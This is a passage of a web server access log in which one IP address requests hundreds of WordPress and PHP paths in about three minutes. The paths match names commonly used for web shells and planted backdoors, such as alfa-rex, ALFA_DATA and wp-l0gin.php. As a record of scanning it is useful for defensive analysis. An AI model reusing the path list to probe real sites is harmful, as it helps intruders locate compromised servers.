/wp-content/plugins/fancybox-for-wordpress/fancybox/termark/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:50 -0400] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:50 -0400] "GET /about.php525 HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:51 -0400] "GET /docs/cc.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:51 -0400] "GET /upload/files/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:52 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:52 -0400] "GET /wp-includes/Requests/Exception/content.php.suspected HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:53 -0400] "GET /wp-content/uploads/cong.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:54 -0400] "GET /y.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:54 -0400] "GET /wp-content/plugins/init HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:55 -0400] "GET /wp-includes/SimplePie/Content/Type/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:55 -0400] "GET /colors.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:57 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:57 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:58 -0400] "GET /amaxx.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:58 -0400] "GET /php/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:58 -0400] "GET /woh.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:59 -0400] "GET /acme-challenge/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:41:59 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:00 -0400] "GET /todo.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:00 -0400] "GET /wordpress/wordpress/wp-content/plugins/sdxxcfgt/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:01 -0400] "GET /cache/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:01 -0400] "GET /wp-includes/IXR/core.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:01 -0400] "GET /.tmb/LA.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:02 -0400] "GET /compressor.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:02 -0400] "GET /js/tinymce/skins/lightgray/fonts/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:02 -0400] "GET /images/stories/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:03 -0400] "GET /wp-crons.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:03 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:04 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:04 -0400] "GET /wp-includes/js/crop/crop.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:04 -0400] "GET /wp-content/plugins/erinyani/yani/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:05 -0400] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:05 -0400] "GET /wp-includes/aa.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:06 -0400] "GET /themes/zMousse/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:07 -0400] "GET /wp-includes/interactivity-api/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:07 -0400] "GET /wp-api.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:07 -0400] "GET /wp-content/plugins/sdxxcfgt/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:08 -0400] "GET /components/5173e.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:08 -0400] "GET /wp-includes/Requests/Utility/sys.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:09 -0400] "GET /lv.php7 HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:09 -0400] "GET /suu.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:10 -0400] "GET /php.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:10 -0400] "GET /wp-includes/Requests/Response/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:11 -0400] "GET /alfa-rex2.php7 HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:12 -0400] "GET /wp-content/plugins/akbifoe/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:12 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:12 -0400] "GET /wp-content/themes/init HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:13 -0400] "GET /wp-admin/plugins/index HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:13 -0400] "GET /wp-content/themes/travel/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:14 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:14 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:15 -0400] "GET /welcome.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:16 -0400] "GET /s.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:17 -0400] "GET /wp-content/plugins/ioxi/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:18 -0400] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:18 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:20 -0400] "GET /wp-includes/customize/Dj1Gk/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:22 -0400] "GET /wp-admin/includes/class_api.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:22 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:23 -0400] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:23 -0400] "GET /home/newsr.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:25 -0400] "GET /wp-includes/js/codemirror/about.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:27 -0400] "GET /wp-includes/rest-api/endpoints/html.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:28 -0400] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:30 -0400] "GET /.tmb/admin.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:31 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:32 -0400] "GET /room.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:33 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:34 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:34 -0400] "GET /wp-sigunq.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:35 -0400] "GET /wp-content/plugins/oyaeyim/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:36 -0400] "GET /wp-content/themes/wp-classic/inc/index.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:36 -0400] "GET /assets/atomlib.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:37 -0400] "GET /wp-content/themes/seotheme/db.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:38 -0400] "GET /configs.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:38 -0400] "GET /rating.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:40 -0400] "GET /wp-content/plugins/rneciwj/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:40 -0400] "GET /wp-includes/css/dist/block-library/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:41 -0400] "GET /wp-admin/css/colors/coffee/themes.php.hacked HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:42 -0400] "GET /environment.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:43 -0400] "GET /beence.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:44 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:44 -0400] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:45 -0400] "GET /report.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:48 -0400] "GET /moderator.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:49 -0400] "GET /wp-content/plugins/pxkxbea/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:49 -0400] "GET /wp-includes/Requests/library/don.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:50 -0400] "GET /wp-admin/css/colors/blue/blkcdojh.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:50 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:51 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:51 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:52 -0400] "GET /download_file.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:52 -0400] "GET /.well-known/pki-validation/a.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:52 -0400] "GET /cookie.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:53 -0400] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:53 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:54 -0400] "GET /wp-content/plugins/css-ready/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:54 -0400] "GET /wp-includes/blocks/latest-comments/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:54 -0400] "GET /wp-admin/home.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:55 -0400] "GET /wp-includes/wp-class.php/wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:55 -0400] "GET /wp-content/plugins/linkpreview/index.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:55 -0400] "GET /register.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:56 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:56 -0400] "GET /.well-known/sx.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:57 -0400] "GET /al.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:57 -0400] "GET /assets/vendor/bootstrap/css/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:58 -0400] "GET /css_editor.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:58 -0400] "GET /wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:59 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:42:59 -0400] "GET /wp-includes/wp-class.php/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:00 -0400] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:00 -0400] "GET /.well-known/pki-validation/ckyocyyp.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:00 -0400] "GET /wp-admin/css/colors/blue/blue.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:01 -0400] "GET /wp-includes/js/jcrop/sx.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:01 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:02 -0400] "GET /wp-content/plugins/zupqfup/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:02 -0400] "GET /admin-footer.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:03 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:03 -0400] "GET /r3x.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:04 -0400] "GET /wp-content/plugins/gvkyvhp/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:04 -0400] "GET /wp-includes/js/e3B6W/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:05 -0400] "GET /uploads/blog/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:05 -0400] "GET /fox.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:06 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:07 -0400] "GET /js_editor.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:07 -0400] "GET /wp-includes/Requests/src/Auth/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:08 -0400] "GET /wp-includes/class-ftps.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:08 -0400] "GET /network.php999 HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:09 -0400] "GET /revision.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:09 -0400] "GET /wp-content/themes/config HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:10 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:10 -0400] "GET /schema.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:11 -0400] "GET /wp-content/uploads/2022/07/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:11 -0400] "GET /wp-includes/SimplePie/Exception-class.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:11 -0400] "GET //wp-2019.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:12 -0400] "GET /wp-content/uploads HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:12 -0400] "GET /wp-content/uploads/init HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:12 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:13 -0400] "GET /checkout.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:13 -0400] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:14 -0400] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:14 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:15 -0400] "GET /wp-admin/maint/src_api.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:15 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:15 -0400] "GET /wp-content/themes/setup HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:16 -0400] "GET /wordpress/wp-content/plugins/erfd/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:16 -0400] "GET /.well-known/pki-validation/mar.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:17 -0400] "GET /wp-includes/Requests/Auth/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:17 -0400] "GET /wp-admin/ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:18 -0400] "GET /uploads/up.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:18 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:19 -0400] "GET /wp-content/uploads/2016/03/wp-admin-block.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:20 -0400] "GET /de/internet.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:21 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:21 -0400] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:22 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:22 -0400] "GET /xml.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:22 -0400] "GET /blog/blog.php7 HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:23 -0400] "GET /wp-content/themes/wp-classic/inc/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:23 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:23 -0400] "GET /wp-includes/IXR/themes.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:24 -0400] "GET /wp-content/plugins/lwgvais/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:24 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:24 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:25 -0400] "GET /wp-includes/random_compat/bala.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:25 -0400] "GET /wp-includes/blocks/calendar/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:26 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:26 -0400] "GET /template.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:27 -0400] "GET /wp-admin/images/file.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:28 -0400] "GET /wp-content/uploads/themes.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:29 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:30 -0400] "GET /.well-known/pki-validation/content.php.suspected HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:30 -0400] "GET /wp-admin/uploads/setup HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:32 -0400] "GET /.tmb/cloud.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:34 -0400] "GET /wp-content/uploads/2018/03/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:34 -0400] "GET /wp-admin/user/network.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:35 -0400] "GET /wp-content/plugins/envato-market/inc/class-envato-market-github.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:38 -0400] "GET /wp-tinymce.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:38 -0400] "GET /wp-content/uploads/config HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:39 -0400] "GET /images/server.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:39 -0400] "GET /web.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:40 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:41 -0400] "GET /firewall.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:42 -0400] "GET /wp-content/plugins/seoo/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:42 -0400] "GET /gallery_view.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:42 -0400] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:43 -0400] "GET /.well-known/pki-validation/install.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:43 -0400] "GET /wp-content/plugins/core-plugin/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:43 -0400] "GET /wp/menu.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:44 -0400] "GET /wp-includes/SimplePie/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:44 -0400] "GET /rc.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:45 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:45 -0400] "GET /wp-content/themes/twentyseventeen/page/index.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:46 -0400] "GET /wp-content/uploads/2023/05/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:46 -0400] "GET /csv.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:47 -0400] "GET /wp-content/themes/jhie8k08/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:47 -0400] "GET /wordpress/wp-includes/IXR/allez.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:47 -0400] "GET /restricted.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:48 -0400] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:48 -0400] "GET /docs/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:48 -0400] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:49 -0400] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:49 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:50 -0400] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:50 -0400] "GET /wp-includes/Text/7ayddz.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:51 -0400] "GET /upgrade.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:51 -0400] "GET /wp-content/themes/phocsqfz/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:51 -0400] "GET /wp-content/plugins/pwnd/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:52 -0400] "GET /wp-includes/assets/plugins.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:53 -0400] "GET /superadmin.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:54 -0400] "GET /wp-content/uploads/2014/06/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:55 -0400] "GET /wp-content/themes/plugins.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:56 -0400] "GET /.well-known/pki-validation/moon.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:56 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:58 -0400] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:59 -0400] "GET /bypass.php7 HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:43:59 -0400] "GET /project/plugins/bootstrap-rtl/css/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:00 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:00 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:01 -0400] "GET /ccx/index.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:02 -0400] "GET /wp-content/uploads/2023/05/install.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:03 -0400] "GET /author.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:04 -0400] "GET /class_api.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:04 -0400] "GET /class-wp-lock.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:05 -0400] "GET /user.php3 HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - 